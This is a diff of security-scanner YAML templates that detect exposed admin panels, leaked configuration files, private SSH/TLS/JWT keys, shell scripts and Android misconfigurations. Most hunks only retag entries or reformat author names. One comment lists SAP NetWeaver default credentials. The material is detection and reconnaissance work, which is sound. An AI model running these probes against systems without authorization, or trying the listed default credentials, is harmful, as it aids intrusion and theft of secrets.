-  tags: panel
+  tags: panel,jira

 requests:
  - method: GET
@@ -19,3 +19,10 @@ requests:
      - type: word
        words:
          - "Project Management Software"
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - 'title="JiraVersion" value="([0-9.]+)'
@@ -1,9 +1,9 @@
 id: jmx-console
 info:
  name: JMX Console
-  author: Yash Anand @yashanand155
+  author: yashanand155
  severity: low
-  tags: panel
+  tags: panel,jmx

 requests:
  - method: GET
@@ -2,9 +2,9 @@ id: joomla-panel

 info:
  name: Joomla Panel
-  author: github.com/its0x08
+  author: its0x08
  severity: info
-  tags: panel
+  tags: panel,joomla

 requests:
  - method: GET
@@ -4,7 +4,7 @@ info:
  name: Apache Kafka Connect UI Exposure
  author: pdteam
  severity: low
-  tags: panel
+  tags: panel,kafka

 requests:
  - method: GET
@@ -4,7 +4,7 @@ info:
  name: Apache Kafka Monitor Exposure
  author: pdteam
  severity: low
-  tags: panel
+  tags: panel,kafka

 requests:
  - method: GET
@@ -4,7 +4,7 @@ info:
  name: Apache Kafka Topics UI Exposure
  author: pdteam
  severity: low
-  tags: panel
+  tags: panel,kafka

 requests:
  - method: GET
@@ -5,7 +5,7 @@ info:
  author: dhiyaneshDK
  severity: info
  reference: https://www.exploit-db.com/ghdb/6817
-  tags: panel
+  tags: panel,keenetic

 requests:
  - method: GET
@@ -0,0 +1,26 @@
+id: landfill-remote-monitoring-control
+
+info:
+  name: SCS Landfill Remote Monitoring Control
+  description: SCS RMC is the IoT for landfills, manufacturing, and industrial facilities that provides real-time viewing, analysis, and control of equipment and systems critical to production and safe operations remotely.
+  reference: https://www.scsengineers.com/services/remote-monitoring-control/
+  author: geeknik
+  severity: info
+  tags: panel,scs,rmc,iot
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    redirects: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<title>Log in to SCS RMC®</title>"
+          - "SCS RMC®</div>"
+        condition: and
@@ -0,0 +1,23 @@
+id: luci-login-detection
+
+info:
+  name: LuCi Login Detector
+  author: aashiq
+  severity: info
+  description: Searches for LuCi Login pages by attempting to query the cgi-bin endpoint
+  tags: login
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/luci"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Authorization Required"
@@ -6,7 +6,7 @@ info:
  severity: info
  description: As a security best practice, Magento recommends that you use a unique, custom Admin URL instead of the default admin or a common term such as backend. Although it will not directly protect your site from a determined bad actor, it can reduce exposure to scripts that try to gain unauthorized access.
  reference: https://docs.magento.com/user-guide/stores/store-urls-custom-admin.html
-  tags: magento
+  tags: magento,panel

 requests:
  - method: GET
@@ -2,7 +2,7 @@ id: mobileiron-login

 info:
  name: MobileIron Login
-  author: dhiyaneshDK & @dwisiswant0
+  author: dhiyaneshDK,dwisiswant0
  Severity: info
  tags: panel

@@ -5,7 +5,7 @@ info:
  description: Monitorix is a free, open source, lightweight system monitoring tool designed to monitor as many services and system resources as possible.
  reference: https://www.monitorix.org/
  severity: low
-  tags: monitorix,exposure,logs
+  tags: monitorix,exposure,logs,panel

 requests:
  - method: GET
@@ -5,6 +5,7 @@ info:
  author: dhiyaneshDk
  severity: info
  reference: https://www.exploit-db.com/ghdb/6898
+  tags: panel

 requests:
  - method: GET
@@ -2,7 +2,7 @@ id: open-stack-dashboard-login

 info:
  name: OpenStack Dashboard
-  author: dhiyaneshDK & hackergautam
+  author: dhiyaneshDK,hackergautam
  severity: info
  reference: https://www.exploit-db.com/ghdb/6464
  tags: panel,openstack
@@ -4,7 +4,7 @@ info:
  name: OpenERP database instances
  author: impramodsargar
  severity: info
-  tags: openerp
+  tags: openerp,panel

 requests:
  - method: GET
@@ -24,3 +24,10 @@ requests:
      - type: word
        words:
          - "<title>phpMyAdmin</title>"
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - 'v=([a-z0-9-._]+)'
@@ -3,7 +3,7 @@ info:
  name: Portainer Init Deploy
  author: princechaddha
  severity: high
-  tags: portainer,exposure,docker,devops
+  tags: portainer,exposure,docker,devops,panel
  reference: https://documentation.portainer.io/v2.0/deploy/initial/
 requests:
  - method: GET
@@ -2,7 +2,7 @@ id: public-tomcat-manager

 info:
  name: tomcat manager disclosure
-  author: Ahmed Sherif & geeknik
+  author: Ahmed Sherif,geeknik
  severity: info
  tags: panel

@@ -0,0 +1,21 @@
+id: rstudio-detect
+
+info:
+  name: RStudio panel detector
+  author: philippedelteil
+  severity: info
+  tags: panel,rstudio
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'RStudio'
+        part: header
+      - type: status
+        status:
+          - 302
@@ -4,7 +4,7 @@ info:
  name: Saferoads VMS Login
  author: dhiyaneshDk
  severity: info
-  tags: login
+  tags: panel
  reference: https://www.exploit-db.com/ghdb/6941

 requests:
@@ -1,10 +1,10 @@
-id: sap-netweaver-portal-detect
+id: sap-netweaver-portal

 info:
-  name: SAP NetWeaver Portal detect
+  name: SAP NetWeaver Portal
  author: organiccrap
  severity: info
-  tags: panel
+  tags: panel,sap

  # SAP Netweaver default creds - SAP*/06071992 or TMSADM/$1Pawd2&

@@ -1,36 +0,0 @@
-id: sap-recon-detect
-
-info:
-  name: SAP RECON Finder
-  author: samueladi_ & organiccrap
-  severity: medium
-  tags: panel
-
-  # Source:- https://github.com/chipik/SAP_RECON
-  # This is detection template, please use above poc to exploit this further.
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean"
-      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean?wsdl"
-      - "{{BaseURL}}/CTCWebService/Config1?wsdl"
-
-    matchers-condition: and
-    matchers:
-
-      - type: word
-        words:
-          - Method Not Allowed
-          - Expected request method POST. Found GET.
-          - Generated by WSDLDefinitionsParser
-          - bns0:Config1Binding
-          - wsdl:definitions
-          - tns:CTCWebServiceSiBinding
-        condition: or
-
-      - type: status
-        status:
-          - 405
-          - 200
-        condition: or
@@ -11,6 +11,7 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/servicedesk/customer/user/login"
+      - "{{BaseURL}}/servicedesk/customer/portal/10/user/login"

    matchers-condition: and
    matchers:
@@ -5,6 +5,7 @@ info:
  author: dhiyaneshDk
  severity: info
  reference: https://www.exploit-db.com/ghdb/6892
+  tags: panel

 requests:
  - method: GET
@@ -2,7 +2,7 @@ id: traefik-dashboard-detect

 info:
  name: Traefik Dashboard
-  author: schniggie & StreetOfHackerR007
+  author: schniggie,StreetOfHackerR007
  severity: info
  tags: panel

@@ -2,7 +2,7 @@ id: webeditors

 info:
  name: Web Editors
-  author: pwnmachine
+  author: princechaddha
  severity: info
  tags: panel

@@ -2,7 +2,7 @@ id: wadl-api

 info:
  name: wadl file disclosure
-  author: 0xrudra & manuelbua
+  author: 0xrudra,manuelbua
  severity: info
  tags: exposure,api
  reference: |
@@ -2,7 +2,7 @@ id: default-sql-dump

 info:
  name: MySQL Dump Files
-  author: geeknik & @dwisiswant0
+  author: geeknik,dwisiswant0
  severity: medium
  tags: exposure,backup

@@ -2,7 +2,7 @@ id: zip-backup-files

 info:
  name: Compressed Web File
-  author: Toufik Airane & @dwisiswant0
+  author: Toufik Airane,dwisiswant0
  severity: medium
  tags: exposure,backup

@@ -2,7 +2,7 @@ id: docker-compose-config

 info:
  name: docker-compose.yml exposure
-  author: meme-lord & blckraven & geeknik
+  author: meme-lord,blckraven,geeknik
  severity: medium
  tags: config,exposure,devops

@@ -18,8 +18,13 @@ requests:
        words:
          - "parent_location"
          - "push_location"
-        condition: and
+        condition: or

      - type: status
        status:
          - 200
+
+      - type: word
+        part: header
+        words:
+          - "text/plain"
@@ -2,16 +2,14 @@ id: exposed-svn

 info:
  name: Exposed SVN Directory
-  author: udit_thakkur & dwisiswant0
+  author: udit_thakkur,dwisiswant0
  severity: medium
-  tags: config,exposure
+  tags: config,exposure,svn

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/.svn/entries"
-      - "{{BaseURL}}/.svn/prop-base/"
-      - "{{BaseURL}}/.svn/text-base/"

    matchers-condition: and
    matchers:
@@ -19,10 +17,12 @@ requests:
        part: body
        regex:
          - "(^10\\s*dir|\\.svn-base|has-props|svn:\\/\\/|([\\da-f]{32}[\\S+\\r\\n\\s]+[\\d]{4}-[\\d]{2}-[\\d]{2}T[\\d]{2}:[\\d]{2}:[\\d]{2}.[\\d]{6}Z))"
+
      - type: status
        status:
          - 200

-      - type: dsl
-        dsl:
-          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'
+      - type: word
+        part: header
+        words:
+          - "text/plain"
@@ -2,7 +2,7 @@ id: git-config

 info:
  name: Git Config Disclosure
-  author: pdteam & pikpikcu
+  author: pdteam,pikpikcu
  severity: medium
  description: Searches for the pattern /.git/config on passed URLs.
  tags: config,git,exposure
@@ -2,7 +2,7 @@ id: laravel-env

 info:
  name: Laravel .env file accessible
-  author: pxmme1337 & dwisiswant0 & geeknik & emenalf
+  author: pxmme1337,dwisiswant0,geeknik,emenalf
  severity: critical
  description: Laravel uses the .env file to store sensitive information like database credentials and tokens. It should not be publicly accessible.
  reference: https://laravel.com/docs/master/configuration#environment-configuration
@@ -2,7 +2,7 @@ id: package-json

 info:
  name: npm package.json disclosure
-  author: geeknik & afaq
+  author: geeknik,afaq
  severity: info
  description: All npm packages contain a file, usually in the project root, called package.json - this file holds various metadata relevant to the project.
  tags: config,exposure
@@ -0,0 +1,25 @@
+id: phalcon-framework-source
+
+info:
+  name: Phalcon Framework Source Code leakage
+  author: philippedelteil
+  severity: high
+  tags: exposure,debug,phalcon
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/anything_here"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Phalcon Framework"
+          - "AnythingHereController"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: phpinfo-files

 info:
  name: phpinfo Disclosure
-  author: pdteam & daffainfo & meme-lord
+  author: pdteam,daffainfo,meme-lord
  severity: low
  tags: config,exposure

@@ -2,18 +2,25 @@ id: rails-database-config

 info:
  name: Ruby-on-Rails Database Configuration Exposure
-  author: pdteam
+  author: pdteam,geeknik
  severity: low
-  tags: config,exposure
+  tags: config,exposure,rails

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/config/database.yml"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "adapter:"
          - "database:"
+          - "production:"
        condition: and
-        part: body
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -1,7 +1,7 @@
 id: server-private-keys

 info:
-  name: Detect Private SSH and TLS Keys
+  name: Detect Private SSH, TLS, and JWT Keys
  author: geeknik
  severity: high
  tags: config,exposure
@@ -25,6 +25,10 @@ requests:
      - "{{BaseURL}}/.ssh/id_dsa"
      - "{{BaseURL}}/{{Hostname}}.key"
      - "{{BaseURL}}/{{Hostname}}.pem"
+      - "{{BaseURL}}/config/jwt/private.pem"
+      - "{{BaseURL}}/jwt/private.pem"
+      - "{{BaseURL}}/var/jwt/private.pem"
+      - "{{BaseURL}}/private.pem"

    matchers-condition: and
    matchers:
@@ -0,0 +1,27 @@
+id: zend-config-file
+
+info:
+  name: Zend Configuration File
+  author: pdteam
+  severity: high
+  tags: config,exposure,zend,php
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/application/configs/application.ini"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "resources.db.params.password"
+
+      - type: word
+        words:
+          - "text/plain"
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,49 @@
+id: shellscripts
+
+info:
+  name: Public shellscripts
+  author: panch0r3d
+  severity: low
+  tags: bash,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.build.sh"
+      - "{{BaseURL}}/.jenkins.sh"
+      - "{{BaseURL}}/.travis.sh"
+      - "{{BaseURL}}/install.sh"
+      - "{{BaseURL}}/update.sh"
+      - "{{BaseURL}}/config.sh"
+      - "{{BaseURL}}/build.sh"
+      - "{{BaseURL}}/setup.sh"
+      - "{{BaseURL}}/run.sh"
+      - "{{BaseURL}}/backup.sh"
+      - "{{BaseURL}}/compile.sh"
+      - "{{BaseURL}}/env.sh"
+      - "{{BaseURL}}/init.sh"
+      - "{{BaseURL}}/startup.sh"
+      - "{{BaseURL}}/wp-setup.sh"
+      - "{{BaseURL}}/deploy.sh"
+      - "{{BaseURL}}/aws.sh"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "application/x-sh"
+          - "text/plain"
+          - "text/x-sh"
+        part: header
+        condition: or
+
+      - type: regex
+        regex:
+          - ".*?bin.*?sh"
+          - ".*?bin.*?bash"
+        part: body
+        condition: or
@@ -1,7 +1,7 @@
 id: error-logs
 info:
  name: common error log files
-  author: geeknik & daffainfo
+  author: geeknik,daffainfo
  severity: low
  tags: logs,exposure

@@ -2,7 +2,7 @@ id: laravel-log-file

 info:
  name: Laravel log file publicly accessible
-  author: sheikhrishad & geeknik
+  author: sheikhrishad,geeknik
  severity: high
  description: The log file of this Laravel web app might reveal details on the inner workings of the app, possibly even tokens, credentials or personal information.
  reference: https://laravel.com/docs/master/logging
@@ -2,7 +2,7 @@ id: generic-tokens

 info:
  name: Generic Tokens
-  author: nadino & geeknik
+  author: nadino,geeknik
  severity: info
  tags: exposure,token

@@ -0,0 +1,18 @@
+id: shoppable-token
+
+info:
+  name: Shoppable Service Auth Token
+  author: philippedelteil
+  severity: info
+  references: https://ask.shoppable.com/knowledge/quick-start-api-guide
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - data-shoppable-auth-token
@@ -2,7 +2,7 @@ id: fcm-server-key

 info:
  name: FCM Server Key
-  author: Abss (@absshax)
+  author: absshax
  severity: high
  tags: exposure,token,google
  reference: https://abss.me/posts/fcm-takeover
@@ -0,0 +1,16 @@
+id: adb-backup-enabled
+
+info:
+  name: ADB Backup Enabled
+  author: gaurang
+  severity: low
+  tags: android,file
+
+file:
+  - extensions:
+      - all
+
+    matchers:
+      - type: word
+        words:
+          - "android:allowBackup=\"true\""
@@ -0,0 +1,17 @@
+id: biometric-detect
+
+info:
+  name: Biometric or Fingerprint detect
+  author: gaurang
+  severity: info
+  tags: android,file
+
+file:
+  - extensions:
+      - all
+
+    matchers:
+      - type: word
+        words:
+          - "android.permission.USE_FINGERPRINT"
+          - "android.permission.USE_BIOMETRIC"
@@ -0,0 +1,16 @@
+id: improper-certificate-validation
+
+info:
+  name: Improper Certificate Validation
+  author: gaurang
+  severity: medium
+  tags: android,file
+
+file:
+  - extensions:
+      - all
+
+    matchers:
+      - type: word
+        words:
+          - "Landroid/webkit/SslErrorHandler;->proceed()V"
@@ -0,0 +1,16 @@
+id: content-scheme
+
+info:
+  name: Content Scheme Enabled
+  author: gaurang
+  severity: info
+  tags: android,file
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: word
+        words:
+          - "android:scheme=\"content\""
@@ -0,0 +1,16 @@
+id: android-debug-enabled
+
+info:
+  name: Android Debug Enabled
+  author: gaurang
+  severity: low
+  tags: android,file
+
+file:
+  - extensions:
+      - all
+
+    matchers:
+      - type: regex
+        regex:
+          - "android:debuggable=\"true\""
@@ -0,0 +1,16 @@
+id: dynamic-registered-broadcast-receiver
+
+info:
+  name: Dynamic Registered Broadcast Receiver
+  author: gaurang
+  severity: info
+  tags: android,file
+
+file:
+  - extensions:
+      - all
+
+    matchers:
+      - type: word
+        words:
+          - ";->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)"